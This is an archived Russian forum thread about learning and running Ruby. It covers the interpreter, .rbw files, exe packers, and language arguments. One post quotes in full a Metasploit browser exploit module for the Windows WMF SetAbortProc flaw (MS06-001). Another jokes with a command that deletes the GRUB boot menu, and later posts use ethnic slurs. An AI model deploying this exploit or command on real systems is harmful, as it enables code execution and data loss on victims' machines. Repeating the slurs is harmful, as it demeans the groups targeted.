PDA

Просмотр полной версии : язык программирования Ruby


max_rebel
27.12.2007, 00:45
Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(

__mad
27.12.2007, 02:46
ruby *.rb

emik
27.12.2007, 05:03
Вот что я нашел на Викепедии...
Чтобы запустить программу на Ruby, необходимо вызвать интерпретатор и передать ему имя файла с программой в качестве параметра.
Чтобы запустить программу с именем TecToBa9_nporpamma.rb (программы на Руби обычно имеют расширение .rb), в Unix-e нужно вызвать консоль и набрать:
% ruby TecToBa9_nporpamma.rb

Чтобы запустить программу из Windows нужно дважды кликнуть на файл с программой. Чтобы окно не исчезало и были видны результаты надо перед местами выхода из программы поставить команду ожидания ввода
STDIN.getc
Именам программ в Windows принято давать расширение .rbw, что позволяет использовать Windows-версию интерпретатора rubyw, который надоедающее окошко просто не вызывает. Интерпретатор ruby предназначен для работы в консоли. Для интерпретатора rubyw вставлять код STDIN.getc перед местами выхода бесполезно


Зайди _http://ru.wikibooks.org/wiki/Ruby#.D0.9D.D0.B0.D1.87.D0.B0.D0.BB.D0.BE_.D1.80.D 0.B0.D0.B1.D0.BE.D1.82.D1.8B и посмотри сам, очень много интересного.

max_rebel
27.12.2007, 12:13
не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.

max_rebel
27.12.2007, 12:15
emik

Чтото я невнимательно викиучебник видимо прочитал=)

Shawn1x
27.12.2007, 15:37
Зачем тебе этот язык? Он сейчас не востребован, я про него первый раз слышу...
Бери лучше учебники по си или Дельфи и учи их

-=lebed=-
27.12.2007, 16:01
Эксплоиты для Metasploit Framework 3.0 пишутся на Ruby, как exe запустить нельзя, так как нужен сам интерпретатор, а компилятора имхо нет...

Spyder
27.12.2007, 16:08
Shawn1x , ты решил что он невостребован только потому что ты первый раз о нём слышишь?

Shawn1x
27.12.2007, 17:13
Да, ибо я не видел ни одной программы на данном языке

Forcer
27.12.2007, 17:21
Shawn1x
мда...видишь кролика? а он есть!

-=lebed=-
27.12.2007, 17:54
Да, ибо я не видел ни одной программы на данном языке
Ну вот тогда глянь к примеру:

require 'msf/core'

module Msf

class Exploits::Windows::Browser::MS06_001_WMF_SETABORTP ROC < Msf::Exploit::Remote

#
# This module acts as an HTTP server
#
include Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
'Description' => %q{
This module exploits a vulnerability in the GDI library included with
Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
to execute arbitrary code through the SetAbortProc procedure. This module
generates a random WMF record stream for each request.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hdm',
'san <san@xfocus.org>',
'O600KO78RUS@unknown.ru',
],
'Version' => '$Revision: 3906 $',
'References' =>
[
['MSB', 'MS06-001'],
['BID', '16074'],
['CVE', '2005-4560'],
['OSVDB', '21987'],
['MIL', '111'],
['URL', 'http://www.microsoft.com/technet/security/advisory/912840.mspx'],
['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html'],
['URL', 'http://www.geocad.ru/new/site/Formats/Graphics/wmf/wmf.txt'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 1000 + (rand(256).to_i * 4),
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP/2003/Vista Automatic', { }],
],
'DisclosureDate' => 'Dec 27 2005',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)


ext = 'wmf'

if (not request.uri.match(/\.wmf$/i))
html =
"<html><meta http-equiv='refresh' content='0; URL=" +
get_resource + '/' +
Rex::Text.rand_text_alphanumeric(rand(80)+16) +
".#{ext}'><body>One second please...</body></html>"
send_response(cli, html)
return
end

# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the compressed response to the client
send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })

handler(cli)
end

def generate_metafile(payload)

# Minimal length values before and after the Escape record
pre_mlen = 1440 + rand(8192)
suf_mlen = 128 + rand(8192)

# Track the number of generated records
fill = 0

# The prefix and suffix buffers
pre_buff = ''
suf_buff = ''

# Generate the prefix
while (pre_buff.length < pre_mlen)
pre_buff << generate_record()
fill += 1
end

# Generate the suffix
while (suf_buff.length < suf_mlen)
suf_buff << generate_record()
fill += 1
end

clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
data =
#
# WindowsMetaHeader
#
[
# WORD FileType; /* Type of metafile (1=memory, 2=disk) */
rand(2)+1,
# WORD HeaderSize; /* Size of header in WORDS (always 9) */
9,
# WORD Version; /* Version of Microsoft Windows used */
( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
# DWORD FileSize; /* Total size of the metafile in WORDs */
clen/2,
# WORD NumOfObjects; /* Number of objects in the file */
rand(0xffff),
# DWORD MaxRecordSize; /* The size of largest record in WORDs */
rand(0xffffffff),
# WORD NumOfParams; /* Not Used (always 0) */
rand(0xffff),
].pack('vvvVvVv') +
#
# Filler data
#
pre_buff +
#
# StandardMetaRecord - Escape()
#
[
# DWORD Size; /* Total size of the record in WORDs */
4,
# WORD Function; /* Function number (defined in WINDOWS.H) */
(rand(256).to_i << 8) + 0x26,
# WORD Parameters[]; /* Parameter values passed to function */
9,
].pack('Vvv') + payload.encoded +
#
# Filler data
#
suf_buff +
#
# Complete the stream
#
[3, 0].pack('Vv') +
#
# Some extra fun padding
#
Rex::Text.rand_text(rand(16384)+1024)

return data

end

def generate_record
type = rand(3)

case type
when 0
# CreatePenIndirect
return [8, 0x02fa].pack('Vv') + Rex::Text.rand_text(10)
when 1
# CreateBrushIndirect
return [7, 0x02fc].pack('Vv') + Rex::Text.rand_text(8)
else
# Rectangle
return [7, 0x041b].pack('Vv') + Rex::Text.rand_text(8)
end
end


end

end

z01b
27.12.2007, 17:57
Да, ибо я не видел ни одной программы на данном языке
Этот язык, активно развивается и очень часто встречается в *nix подобных ОС.

Neovild
27.12.2007, 18:12
http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
"Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
(c) Неткачев

Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.

Loker
27.12.2007, 18:27
Я тоже 1 раз слышу о таком языке))) Надо поподробнее рассмотреть, может он окажеться очень полезным)

ртуть
27.12.2007, 19:15
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )

z01b
27.12.2007, 20:14
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )
он и на линухе очень популярен )

Jes
27.12.2007, 20:14
http://Jes.xaker.ru/Ilove.gif Paranoid :)

geezer.code
27.12.2007, 20:27
Руби, сильная штука :) щас пишу на нем и да простят меня господа пхп-шники, Ruby On Rails - рулит...
Все доводы по поводу скорости интерпретатора, уже не актуальны, руби 2.0 уже компилируется в байт код как и Питон и Ява.
самый крупный известный мне проект на RoR - www.dandelife.com

ртуть
27.12.2007, 20:33
в байт код кстати и перл тоже можно загнать ) это так к сведению )) хотя читала по версии 5.6 что функция ByteCode тестится.... хз как по 5.8 ...

jnick
27.12.2007, 22:52
не правильно задал вопрос,сорри. Я имел ввиду можно ли запустить **.rb как обычную прогу ехе? Потомучто если двойным щелчком rb запустить то появляется консоль и тутже исчезает=(Но если через консоль запускать то работает.У меня пока первые программки они только консольные,типа привет как тебя зовут.

например в паскале чтоб консольная прога не закрывалась сразуже в конце проги пишут Readln тобиш просит прочитать символ и после нажатия ентер прга закрываеться. Если в рубу есть такая функция то добавь в конец программы и да будет тебе щастя :)

presidentua
28.12.2007, 02:35
emik

Чтото я невнимательно викиучебник видимо прочитал=)

Так ты попробовал перед местом выхода из програмы вставить команду ожыдания ввода STDIN.getc

я этим языком сам не пользуюсь но кажись она так пишется c = $stdin.getc

Наверное стоит самому попробовать этот язык, уж сильно про его отлики хорошие, а тебе советую если ты только начал - начни с Паскаля или РНР. Там все придельно просто и понятно.

_Great_
28.12.2007, 08:31
он и на линухе очень популярен )
Ну я его вообще тоже в линухе ни разу не видел ) Хотя может действительно плохо смотрел, т.к. специально не искал

Shawn1x
28.12.2007, 08:39
Вот.... Еще один чел, который ничего не слышал

_Great_
28.12.2007, 08:41
Вот.... Еще один чел, который ничего не слышал
Да вы походу читать не умеете) Про язык-то я слышал, я использование в линуксе не видел.

Shawn1x
28.12.2007, 08:44
Ну я так и сказал

Spyder
28.12.2007, 12:13
грейт его в линухе не видел, а ты вообще первый раз о нём слышишь. не сравнивай *** с пальцем

max_rebel
28.12.2007, 15:17
ни хрена вы тут дискуссию развернули=)Один день всего не заглядывал=) Т.е. что же получается что нельзя пользоваться программой написаной на руби если интерепретатор(я пока очень пространственно представляю кстати что это=)) на компе не установлен? Я имею ввиду что если я написал прогу на компе где руби установлен и допустим хочу эту прогу на другом компе(где руби нет) запустить то она не будет работать? Чтото мне в душе подсказывает "На хрена такой язык ваще нужен - язык для одного компа получается"

max_rebel
28.12.2007, 15:19
http://www.opennet.ru/base/dev/ruby_quickstart.txt.html
"Для установки в Windows достаточно скачать один из вариантов Ruby с http://ftp.ruby-lang.org/pub/ruby/binaries/ можно- mswin32/ruby-1.8.1-20040402-i386-mswin32.zip). Распаковать и проставить правильно пути к директориям. Можно также воспользоваться пакетом автоматической установки RubyInstaller (http://rubyforge.org/projects/rubyinstaller). Определить правильность установки поможет команда C:\>ruby --help"
(c) Неткачев

Сам знаю, что язык хорош для написания эксплоитов. Интерпретируемый язык, типы переменных как в пхп, объектно-ориентированная парадигма. Не кодил на нем, но слышал хорошие отзывы.

это я всё сделал...вроде правильно=)

max_rebel
28.12.2007, 15:23
превед, ламер! похвально твоё увлечение... встречала интересные скрипты на рубине ) данный скриптовый язык, насколько я знаю, популярен в среде маков ) на нем где-то видела даже вирусы )

превед,единственный свой вирус я пока написал в блокноте=)и назвал его virus.bat =) Интересных скриптов не встречал - потому что ничего в них не понимаю пока,мак тоже в глаза не видел(зато юзаю мандриву2008)=)

KEZ
28.12.2007, 15:27
Бля, а "РАБИ" - это не от "РАБИнович" случайно? Или "руби" правильно? А там осенблерные вставки можно писать? А SDK для Vista? =\

Shawn1x
28.12.2007, 19:27
Ха... Даже Kez не знает, а вы мне тут втираете

Jes
28.12.2007, 22:17
превед,единственный свой вирус я пока написал в блокноте=)и назвал его virus.bat ... (зато юзаю мандриву2008)=)
ты наверна мандриву совсем не кормишь , если она даже bat готова сьесть? :)

гыгы " rm /boot/grub/menu.lst 2>/dev/null " ;)

Spyder
30.12.2007, 17:37
Я имею ввиду что если я написал прогу на компе где руби установлен и допустим хочу эту прогу на другом компе(где руби нет) запустить то она не будет работать? Чтото мне в душе подсказывает "На хрена такой язык ваще нужен - язык для одного компа получается"

ога, те php, perl, python - тоже на*** не нужны +)

Forcer
30.12.2007, 17:55
с .net та же фигня. Всё дело в распространенности и в поддержке крупными компаниями.

nerezus
30.12.2007, 19:01
И с бинарниками для винды тоже. Оно же для одного компа, именно для того, на котором винда.

KSURi
30.12.2007, 19:09
а почему топик находится в разделе компилируемых языков, а не скриптовых?

KEZ
30.12.2007, 19:17
потому что я хакер

Ni0x
30.12.2007, 19:25
потому что я хакер
крышует тебя кто?

KEZ
30.12.2007, 19:30
динар.

Spyder
30.12.2007, 20:32
до, Динар и Изос известные авторитеты
Мы пишем плоет на руби, а на радио античат "Ах мой милый мусорок"

GrAmOzEkA
30.12.2007, 21:29
Кстать руби можно и к Апачу прикрутить. Вот статья http://wiki.vingrad.ru/Ruby:DenwerAndRubyOnRailsPartOne
http://forum.vingrad.ru/articles/topic-149102.html
на примере денвера. Сам проверил все работает.

Petr
20.02.2008, 00:08
Вот почитал я темку и подумал для начальных знаний поучю я ваш руби :)

LEE_ROY
20.02.2008, 01:10
нах он нужен этот руби?

Horsekiller
20.02.2008, 05:31
Всем привет,я пока ламер,но начал учить язык RUBY - если есть кто-нибудь ещё кто о таком слышал,то подскажите как запустить программу ***.rb (расширение RUBY) =(
Попробуй давать расширение .rbw
Тогда запускается виндовый интерпритатор, одинственное отличие которого - консоль не закрывается после вывода.

LEE_ROY, скринкасты посмотри...
_http://rubyonrails.ru/

РоР реально удобная вещь, только документации очень мало (на русском вообще нет ничего, кроме одной книжицы, и то она устарела).

track
05.07.2008, 20:20
начал изучать руби, довольно мощьный язык...мне нравится.
хочу с ROR разобраться... что то пока не пойму как прикрутить к xampp'у

De-visible
06.07.2008, 01:07
нах он нужен этот руби?
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики....

z01b
06.07.2008, 01:24
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики....
2lee-roy и De-Visible - полный бред ... рассмешили =)

geezer.code
06.07.2008, 01:48
+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики....
ерунду говорите!

track
06.07.2008, 02:45
присоединяюсь... руби отличный язык.. за ним большое будущее...
и к томуже говорить что получше это бред полный каждый язык хорош в своей сфере...
на рубы писат гуи приложения думаю не совсем удобно хотя возможно.

для начинающих конечно не совсем подходит...

nerezus
06.07.2008, 10:27
нах он нужен этот руби? Нах он нужен этот пхп? ах он нужен этот C++?
Отличная штука, если бы не было питона, то юзал бы ее.
Просто на питоне можно сделат все(системные скрипты для *nix, сетевые скрипты, мощные веб-приложения, игры, гуй, программы для смартфонов на симбе), причем очень и учень удобно. Разве что низкоуровневые штуки не написать)

+100, теряете время люди...выучите сначало нормальное что нибудь....а потом эти рубики.... Гонишь. Чем тебе руби не нормальная?

desTiny
06.07.2008, 13:57
Нах он нужен этот пхп? ах он нужен этот C++?
Отличная штука, если бы не было питона, то юзал бы ее.
Просто на питоне можно сделат все(системные скрипты для *nix, сетевые скрипты, мощные веб-приложения, игры, гуй, программы для смартфонов на симбе), причем очень и учень удобно. Разве что низкоуровневые штуки не написать)

Гонишь. Чем тебе руби не нормальная?

Ужас... с этими плодящимися новыми языками скоро вирусы пистаь будем типа
randomize;
with TWorm.Create(random(1000000)) do
Run;

PHPoozy
06.07.2008, 14:15
я непонимаю чем вам неустраивает пхп?

ps: про gtk слыхали?

Delimiter
06.07.2008, 14:35
ЗАЧЕМ??

студенты как курсовую напишут всякую ересь трансляторо-компилирующую а другие должны ее изучать???

Хватит того что есть у нас платформонезависимая Джава...

De-visible
06.07.2008, 21:33
Может я и не прав, но на первый взгляд это задумка кажется х...ней...

z01b
06.07.2008, 21:39
Может я и не прав, но на первый взгляд это задумка кажется х...ней...
это типа создатели метасплойта фигней страдали? =)

Delimiter
06.07.2008, 21:47
по ходу жизни нормальный программер создаст море встроенных трансляторов... (если понадобится и компиляторов хотя для inbuild это неудобно) когда занимаешься и делаешь это для своих целей - это не ерунда .... это было нужно тебе, но когда выносишь на суд публики то БЕСПОЛЕЗНО ЗАЩИЩАТЬ ТО ЧТО ДОЛЖНО САМО ЗА СЕБЯ ГОВОРИТЬ!

AKYLA
31.07.2008, 03:30
Чтоб сделать exe шник, можно использовать RubyScript2Exe, можно скомпилить так сказать, мод Linux Win и Mac
http://www.erikveen.dds.nl

А так же, если для винды то - http://exerb.sourceforge.jp/index.en.html

nerezus
31.07.2008, 09:29
ЗАЧЕМ?? Как аналог питону. Ниша есть соответствующая. Только не надо говорить, что оно все говно только потому, что оно не нужно именно тебе.

alextoun
31.07.2008, 10:12
я вот например уже давненько учу питон в паре с руби
они похожи, и удобнее,
у обоиъ кстате строгая и динамическая типизация
но в руби есть кое какие схожести и с явой и с tcl ))))
его кстате мне показалось учить проще
кстате на счёт востребованности
зайдите на python.su
сайт хохлов
Скажу вам в Украине питон программеры ой как ценятся. Да и вообще, если человек спец в своей области, без работы он не останится никогда :)
кстате с таким же успехом можно писать на питоне и веб, для себя предпочитаю Джанго, ибо zope это кааааллл :D

nerezus
31.07.2008, 11:39
уже давненько учу питон в паре с руби
они похожи, и удобнее, Советую выбрать что-то одно.
Я за питон:
1) Самый быстрый ООП скриптовый язык. Руби же самый медленный из попылярных(даже медленнее, чем пхп)
2) Область примерения: системные скрипты, web - это стандартно. Однако у питона есть еще и такие: GUI(очень популярен в никсах), gamedev(второе место после lua), смартфоны на симбе.
3) Синтаксическая определенность. Only one right way to do anything.

Однако если бы питона не существовало, то из перла и руби выбрал бы определенно руби.

AKYLA
31.07.2008, 18:09
alextoun
зайдите на python.su
сайт хохлов
Слушай давай без этих идиотских слов хохлы, москали, чорножопые и.т.д
А то не хорошо это!

slav0nic
31.07.2008, 22:43
руби
1 медленная
2 жрёт озу
3 неперспективная шняга, тк кроме РоР ничего интересного на ней нет, кстати приложения на РоР прекрасное доказательсва пунктов 1-2
с тредами, IPC. sockets там похоже тоже жопа. С GUI тоже не всё хорошо

Python community ждёт вас :P
за хохлов да, не надо)

alextoun
31.07.2008, 22:45
Слушай давай без этих идиотских слов хохлы, москали, чорножопые и.т.д
А то не хорошо это!
хе....не дело ваше, хотя пол инета тут так говорит, думаю уже привыкнуть мона.......

AKYLA
01.08.2008, 01:53
alextoun
Ну так пол инета много как говорит, почему это к оскорблениям должны привыкать?
Ты думаешь кто из России приезжает и слышит когда говорят в Украине москали им приятно и они привыкли?
Или всех Евреев когда обзывают жидами, что они привыкли и им приятно? да те которые симитизмом страдают и считают что их народ лучше всех, не достойны уважения, но наверное не все же одинаковы правда?! Точно так же и в России и в Украине как идиотов полно, так и нормальных людей.
Это ничего сверхестественного, но стоит все же обходится без этого, тем более этот форум не сборище идиотов, которые лепят что угодно, а нормальные люди и тут не обсуждают какие-то расовые или религиозные принадлежности, так что лучше избегать таких слов.
Я думаю это ясно любому уважающему тут человеку, без каких-то объяснений.

Вообщем это получился большой оффтоп, я думаю все всем понятно и не будем больше к этому вопросу возращатся :)

nerezus
03.08.2008, 10:58
Слушай давай без этих идиотских слов хохлы, москали, чорножопые и.т.д Действительно! Черножопые - это неуважительно. Так что правильнее будет назвать их хачами.

И вообще нехрен тут рассуждать, а то за нацизм забаню.